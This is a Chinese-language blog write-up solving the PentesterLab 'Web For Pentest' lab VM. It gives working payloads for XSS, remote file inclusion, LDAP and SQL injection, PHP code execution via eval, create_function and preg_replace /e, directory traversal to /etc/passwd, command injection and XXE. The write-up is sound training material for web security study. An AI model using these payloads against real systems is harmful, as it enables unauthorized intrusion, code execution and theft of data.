Web For Pentest

  1. 1. Pre
  2. 2. Hacking
    1. 2.1. XSS
      1. 2.1.1. Example 1
      2. 2.1.2. Example 2
      3. 2.1.3. Example 3
      4. 2.1.4. Example 4
      5. 2.1.5. Example 5
      6. 2.1.6. Example 6
      7. 2.1.7. Example 7
      8. 2.1.8. Example 8
      9. 2.1.9. Example 9
    2. 2.2. File Include
      1. 2.2.1. Example 1
      2. 2.2.2. Example 2
    3. 2.3. LDAP attacks
      1. 2.3.1. Example 1
      2. 2.3.2. Example 2
    4. 2.4. SQL Injection
      1. 2.4.1. Example 1
      2. 2.4.2. Example 2
      3. 2.4.3. Example 3
      4. 2.4.4. Example 4
      5. 2.4.5. Example 5
      6. 2.4.6. Example 6
      7. 2.4.7. Example 7
      8. 2.4.8. Example 8
      9. 2.4.9. Example 9
    5. 2.5. Code injection
      1. 2.5.1. Example 1
      2. 2.5.2. Example 2
      3. 2.5.3. Example 3
    6. 2.6. File Upload
      1. 2.6.1. Example 1
      2. 2.6.2. Example 2
    7. 2.7. Directory traversal
      1. 2.7.1. Example 1
      2. 2.7.2. Example 2
      3. 2.7.3. Example 3
    8. 2.8. Commands injection
      1. 2.8.1. Example 1
      2. 2.8.2. Example 2
      3. 2.8.3. Example 3
    9. 2.9. XML attacks
      1. 2.9.1. Example 1
      2. 2.9.2. Example 2
  3. 3. Conclusion

很久之前就想做的靶机,一直没做,最近有空清理一下。地址在PentestLab

[TOC]

Pre

下载得到一个 iso 后直接用 vmware 装起来,ifconfig得到 ip ,访问就可以看到主页了

Hacking

XSS

Example 1

1
http://172.16.71.152/xss/example1.php?name=hacker

一个典型的反射型 xss ,我们可以看到 url 中有个name的参数,直接 x

1
http://172.16.71.152/xss/example1.php?name=%3Cscript%3Ealert(1);%3C/script%3E

Example 2

1
http://172.16.71.152/xss/example1.php?name=hacker

还是尝试用<script>alert(1);</script>直接 x ,发现被过滤了

1
2
3
4
5
6
7
8
9
10
<div class="container">



Hello
alert(1) <footer>
<p>&copy; PentesterLab 2013</p>
</footer>

</div> <!-- /container -->

大小写绕过

1
http://172.16.71.152/xss/example2.php?name=%3CScript%3Ealert(1)%3C/Script%3E

Example 3

1
http://172.16.71.152/xss/example3.php?name=hacker

大小写也被过滤了,双写的话竟然没有被替代<scscriptript>,直接原样返回了,换成其他标签

1
http://172.16.71.152/xss/example3.php?name=%3Cbody/onload=alert(1)%3E

查看了源代码,原来是把<script></script>都替换了,把尖括号也替代了…也是自己不够仔细…确实应该想到替换包含了尖括号的问题

1
http://172.16.71.152/xss/example3.php?name=%3CSc%3CScript%3Eript%3Ealert(1)%3C/Sc%3C/Script%3Eript%3E

Example 4

1
http://172.16.71.152/xss/example4.php?name=hacker

使用<script>alert(1)</script>,发现直接回显了error,并没有其他的提示了,我们仍旧可以使用<body/onload=alert(1)>

源代码是

1
2
3
if(preg_match('/script/i',$_GET['name'])){
die('error');
}

禁止使用了script关键字

Example 5

1
http://172.16.71.152/xss/example5.php?name=hacker

fuzz 发现是alert直接就返回error了,不用alert,我们还有prompt

1
http://172.16.71.152/xss/example5.php?name=%3Cbody/onload=prompt(1)%3E

源代码是:

1
2
3
if(preg_match('/alert/i',$_GET['name'])){
die('error');
}

这…感觉有点无语,讲道理我还以为应该是scriptalert一起过滤了…

Example 6

1
http://172.16.71.152/xss/example6.php?name=hacker

<script>alert(1)</script>测试,发现输入变成了

1
2
3
4
Hello 
<script>
var $a= "<script>alert(1)</script>";
</script>

意思就是把输入给放在了var $a= "…"当中,闭合双引号,注释后面即可

1
http://172.16.71.152/xss/example6.php?name=%22;alert(1)//

Example 7

1
http://172.16.71.152/xss/example7.php?name=hacker

<script>alert(1)</script>测试,发现输入变成了

1
2
3
4
Hello 
<script>
var $a= '&lt;script&gt;alert(1)&lt;/script&gt;';
</script>

依然可以闭合单引号,注释后面即可。

1
http://172.16.71.152/xss/example7.php?name=%27;alert(1)//

Example 8

发现这关有个输入框,提交<script>alert(1)</script>,发现返回了实体编码

1
2
3
HELLO &lt;script&gt;alert(1)&lt;/script&gt;<form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

尝试了一些特殊字符

1
2
3
()/'";<>`

HELLO ()/'&quot;;&lt;&gt;`

发现<>被过滤了,但是输出结果又没有处于任何一个标签的属性之内,感觉没有什么攻击点,查看源代码

1
2
3
if(isset($_POST['name'])){
echo "HELLO ".htmlentities($_POST['name']);
}

确实用了htmlentities,但是感觉在输出又处在内容当中,真的没什么利用的点,找了一波也没发现什么有用的利用姿势,最后看文档,才知道攻击点并不在这,而是在后面的代码中

1
2
3
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

问题就出现在<?php echo $_SERVER['PHP_SELF']; ?>这里

​ ‘PHP_SELF’

当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。

我们可以看到,这里是获取执行脚本的文件名,我们可以有xss/example8.php/%3C,返回

1
<form action="/xss/example8.php/<" method="POST">

说明PHP_SELF是可控的,而且又存在在action属性中,于是我们可以有,直接闭合form,然后直接 x

1
"><script>alert(1);</script>//

Example 9

1
http://172.16.71.152/xss/example9.php#hacker

发现页面有

1
2
3
<script>
document.write(location.hash.substring(1));
</script>

一个 DOM 型的 XSS ,讲道理应该可以直接使用#<script>alert(1)</script>来进行 xss ,但是…不知道是不是浏览器的问题,直接就给我把<>进行 url 编码了…

File Include

Example 1

直接用

1
2
php://filter/read=convert.base64-encode/resource=intro.php
php://filter/read=convert.base64-encode/resource=example1.php

得到源码

1
2
3
4
5
6
7
<?php require_once '../header.php'; ?>
<?php
trueif ($_GET["page"]) {
truetrueinclude($_GET["page"]);
true}
?>
<?php require_once '../footer.php'; ?>

但是官方的意思是让我们体验一下远程包含的感觉…

1
http://172.16.71.152/fileincl/example1.php?page=http://your_ip/zedd.txt

Zedd.txt 中的内容为

1
2
<?php
phpinfo();

得到

Example 2

比上面少个后缀

1
2
php://filter/read=convert.base64-encode/resource=intro
php://filter/read=convert.base64-encode/resource=example2

读取源代码

1
2
3
4
5
6
7
8
9
10
11
<?php require_once '../header.php'; ?>

<?php
trueif ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
truetrueinclude($file);
true}
?>
<?php require_once '../footer.php'; ?>

我们可以利用zedd.txt%00来绕过

LDAP attacks

Example 1

着实没看懂这个 Example 是什么鬼…

​ In this first example, you connect to a LDAP server, using your username and password. In this instance, The LDAP server does not authenticate you, since your credentials are invalid.

However, some LDAP servers authorise NULL Bind: if null values are sent, the LDAP server will proceed to bind the connection, and the PHP code will think that the credentials are correct. To get the bind with 2 null values, you will need to completely remove this parameter from the query. If you keep something like username=&password= in the URL, these values will not work, since they won’t be null; instead, they will be empty.

菜是越来越菜,整个意思就是说可以用空值绕过,就是直接访问http://172.16.71.152/ldap/example1.php即可…

Example 2

按照 Example 1 的套路,先直接访问看看,发现返回

1
Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED

看来是个正经的注入题了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
require "../header.php" ;
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
$lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
if ($lb) {
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
if (!([email protected]_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
echo("Unable to search ldap server<br>");
echo("msg:'".ldap_error($ld)."'</br>");
} else {
$number_returned = ldap_count_entries($ld,$search);
$info = ldap_get_entries($ld, $search);
if ($info["count"] < 1) {
//NOK
echo "UNAUTHENTICATED";
}
else {
echo "AUTHENTICATED as";
echo(" ".htmlentities($info[0]['uid'][0]));
}
}
}
}
require "../footer.php" ;
?>

折腾了挺久,这里直接看源码,我们对着分析,因为password处是被md5处理了,所以后面我们没办法注入,这里他执行两条以上的语句会直接报错Bad search filter,不能像网上给的大多数 payload 一样直接执行,所以我们需要分析一下,可以在name处闭合前面的括号,再用%00截断后面的即可,

1
admin)(cn=admin))%00&password=hacker

也可以不用后面那个cn=admin

1
admin))%00&password=hacker

不过我看文档写的有一处 fuzz 还是比较好的:

  • 首先先用name=hacker&password=hacker,回显正常
  • 接着用name=hack*&password=hacker,回显也正常
  • 尝试name=hacker&password=hack*,不能认证
  • 尝试name=hack*&password=hack*,不能认证

从这里可以推断,password处可能是经过了 Hash 或者一些什么操作,我们的注入点只能在username

SQL Injection

Example 1

1
root' or 1=1%23

没啥好说的

Example 2

尝试root' or 1=1%23,返回

1
ERROR NO SPACE

直接用%0a

1
root'%0Aor%0A1=1%23

Example 3

%0a还是返回了

1
ERROR NO SPACE

%a0

1
root%27%A0or%A01=1%23

Example 4

1
http://172.16.71.152/sqli/example4.php?id=2

这里参数变成了 id ,猜测是整形注入

1
2 or 1=1%23

Example 5

依旧可以使用2 or 1=1%23注入

看了一下代码

1
2
3
4
5
6
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);

只要开头是数字就可以绕过了

Example 6

尝试2 or 1=1%23,返回

1
ERROR INTEGER REQUIRED

尝试2 or 1=1,发现全部返回,猜测检测开头结尾是否为数字,于是我们可以使用布尔盲注

1
if(substr((SELECT group_concat(schema_name) from information_schema.schemata),1,1)='i',1,0) and 1

结果发现可以直接在注释后加数字就好了2 or 1=1 %23 1,而且之前猜列数为 3 ,也猜错了…orz

还是不够细心,通过1 union select 1,2,3,4,5%23 1,得到 5 列

1
2
3
4
5
6
7
8
9
10
11
12
13
1 union SELECT 1,group_concat(schema_name),3,4,5 from information_schema.schemata %23 1

information_schema,exercises

1 union SELECT 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='exercises' %23 1

users

1 union SELECT 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'%23 1

id,name,age,groupid,passwd

1 union select * from users %23 1

Example 7

查看源代码

1
2
3
4
5
6
7
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

$result = mysql_query($sql);

我们可以用%0a(换行)绕过纯数字匹配,4%0Aor 1=1%23

1
1%0a union SELECT 1,group_concat(schema_name),3,4,5 from information_schema.schemata %23

Example 8

1
http://172.16.71.152/sqli/example8.php?order=name

很明显的一个order注入,尝试报错无回显,那就只能通过 bool 注入或者延时注入了,但是 fuzz 了很久,都无法绕过,最后看源代码发现用的是反引号…

1
2
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";

用 sqlmap 跑了一下,发现可以用

1
2
order=name`=`name` AND SLEEP(5) AND `name`=`name
order=name`=`name` AND 2137=(SELECT (CASE WHEN (2137=2137) THEN 2137 ELSE (SELECT 8927 UNION SELECT 4832) END))-- lMKk

成功延时,仔细分析,其实是构成了以下 payload

1
2
3
SELECT * FROM users ORDER BY `name`=`name` AND SLEEP(5) AND `name`=`name`;

SELECT * FROM users ORDER BY `name`=`name` AND 2137=(SELECT (CASE WHEN (2137=2137) THEN 2137 ELSE (SELECT 8927 UNION SELECT 4832) END))-- lMKk`

这样就看的比较明朗了,其实就是用两个字符串先进行相等,然后还是用的是order by后注入的方式

Example 9

比上个还要简单,直接测的是rand(true)%23,发现排序发生变化,于是就可以用 bool 注入了,就不再重复了。

Code injection

Example 1

1
http://172.16.71.152/codeexec/example1.php?name=hacker

回显

1
Hello hacker!!!

尝试 xss

1
http://172.16.71.152/codeexec/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E//

成功alert,没发现这题问题所在,讲道理这算是个 HTML 代码注入吧2333,尝试注入$a,发现有回显

1
Notice: Undefined variable: a in /var/www/codeexec/example1.php(6) : eval()'d code on line 1 Hello !!!

说明应该在eval()函数中,猜测是eval(echo "$a!!!")这样的方式,闭合双引号即可,

1
";system('whoami');echo "

Example 2

1
http://172.16.71.152/codeexec/example2.php?order=id

传入$id,发现错误回显

1
Notice: Undefined variable: id in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Fatal error: Cannot access empty property in /var/www/codeexec/example2.php(22) : runtime-created function on line 1

这个比较头大,我们直接分析源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
require_once('../header.php');
require_once('../sqli/db.php');
true$sql = "SELECT * FROM users ";

true$order = $_GET["order"];
true$result = mysql_query($sql);
if ($result) {
truetruewhile ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}

这里用到了create_function的一个 trick ,可以用}闭合create_function,所以我们可以用

1
id,$b->id);}system('ls');//

Example 3

1
http://172.16.71.152/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer

这里我们直接看代码算了…

1
2
<?php
trueecho preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
1
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

使用/e修饰符,preg_replace会将replacement参数当作 PHP 代码执行,也就是$_GET['new']

所以用new=system('id');&pattern=/test/e&base=jutst test,即可执行任意命令。

File Upload

Example 1

毫无过滤的文件上传

Example 2

使用.php3进行后缀绕过

Directory traversal

Example 1

1
http://172.16.71.152/dirtrav/example1.php?file=../../../../../../../../../../etc/passwd

Example 2

1
http://172.16.71.152/dirtrav/example2.php?file=/var/www/files/hacker.png

直接访问/etc/passwd不行,用../绕过

1
http://172.16.71.152/dirtrav/example2.php?file=/var/www/files/../../../../../../../../../etc/passwd

Example 3

1
http://172.16.71.152/dirtrav/example3.php?file=hacker

猜测结尾有附加.jpg,用%00截断

1
http://172.16.71.152/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

Commands injection

Example 1

1
http://172.16.71.152/commandexec/example1.php?ip=127.0.0.1

;id执行命令

Example 2

;发现回显

1
Invalid IP address

于是用%0a换行执行命令

Example 3

直接在后面加貌似会被先过滤跳转,放到 burp 里面加就行了

看下源代码

1
2
3
4
5
6
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>

果然直接被跳转了,但是我们用 burp 还是可以直接执行的

XML attacks

Example 1

1
http://172.16.71.152/xml/example1.php?xml=%3Ctest%3Ehacker%3C/test%3E

没什么过滤的 xxe ,删掉下载的空格换行什么的就好了,记得 urlencode

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

Example 2

1
http://172.16.71.152/xml/example2.php?name=hacker

看源码得到

1
2
3
4
5
6
7
8
9
10
11
<?php require_once("../header.php"); 

$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

$xml=simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
echo $node;
}
?>

看到源码就知道是一个 xpath 注入了,比较类似 sql 注入,用or 1=1的方式绕过即可

1
users/user/name[.='hacker' or '1'='1']/parent::*/message

获取到了

1
Hello hackerHello admin

admin' and '1'='1得到 admin 的认证

Conclusion

总结以下还是有点收获的,比如create_function那里的绕过,还有 LDAP 注入以及 XPath 注入, SQL 注入那里也有点收获,比如反引号的利用,也对order by注入有了更好的理解。


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/03/08/Web-For-Pentest/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

Web For Pentest II Sql注入备忘录

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×